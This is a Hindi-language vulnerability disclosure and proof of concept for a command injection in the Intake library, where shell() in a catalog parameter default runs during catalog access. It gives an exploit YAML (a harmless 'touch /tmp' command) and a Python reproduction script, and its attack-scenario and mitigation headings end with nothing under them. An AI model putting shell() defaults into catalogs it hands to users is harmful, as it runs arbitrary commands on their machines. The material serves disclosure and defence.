
प्रूफ-ऑफ-कॉन्सेप्ट जो Intake कैटलॉग के पैरामीटर डिफ़ॉल्ट में shell() विस्तार के माध्यम से कमांड इंजेक्शन प्रदर्शित करता है, साथ में एक्सप्लॉइट YAML और प्रजनन स्क्रिप्ट।
CVE-2026-33310 (पैरामीटर डिफ़ॉल्ट में shell() विस्तार के माध्यम से कमांड इंजेक्शन)
पैरामीटर डिफ़ॉल्ट मानों के भीतर shell() सिंटैक्स कैटलॉग पार्सिंग प्रक्रिया के दौरान स्वचालित रूप से विस्तारित होता प्रतीत होता है। यदि किसी कैटलॉग में shell() जैसा पैरामीटर डिफ़ॉल्ट शामिल है, तो कैटलॉग स्रोत तक पहुँचने पर कमांड निष्पादित हो सकती है। इसका अर्थ है कि यदि कोई उपयोगकर्ता दुर्भावनापूर्ण कैटलॉग YAML लोड करता है, तो एम्बेडेड कमांड होस्ट सिस्टम पर निष्पादित हो सकती हैं। यह व्यवहार संभावित रूप से CWE-78: OS कमांड इंजेक्शन / असुरक्षित शेल विस्तार के रूप में वर्गीकृत किया जा सकता है।
समस्या उत्पन्न होती प्रतीत होती है कि कैटलॉग स्रोत तक पहुँचने पर पैरामीटर डिफ़ॉल्ट मानों का विस्तार कैसे किया जाता है।
कैटलॉग लोडिंग और स्रोत पहुँच के दौरान:
Intake पैरामीटर डिफ़ॉल्ट मानों को हल करता है डिफ़ॉल्ट विस्तार के लिए जिम्मेदार फ़ंक्शन shell() सिंटैक्स को संसाधित करता है शेल एक्सप्रेशन एक सबप्रोसेस निष्पादन को ट्रिगर करता है क्योंकि यह कैटलॉग मूल्यांकन के दौरान होता है, उपयोगकर्ता द्वारा डेटासेट के साथ स्पष्ट रूप से इंटरैक्ट करने से पहले ही कमांड निष्पादित हो सकती है।
प्रभावित तर्क में निम्न शामिल प्रतीत होता है:
expand_defaults()
और संबंधित पैरामीटर पार्सिंग तंत्र।
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testing shell expansion in parameters"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Test Parameter"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Accessing source...")
_ = cat["rce_test"]
except Exception as e:
print(f" Error during execution: {e}")
if os.path.exists(PROOF_FILE):
print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
print("Command execution did not occur.")
एक संभावित हमले का परिदृश्य इस प्रकार हो सकता है:
यदि यह व्यवहार अनपेक्षित होने की पुष्टि होती है, तो एक हमलावर निम्न माध्यम से दुर्भावनापूर्ण कैटलॉग फ़ाइल वितरित कर सकता है:
संभावित शमन उपायों में शामिल हो सकते हैं: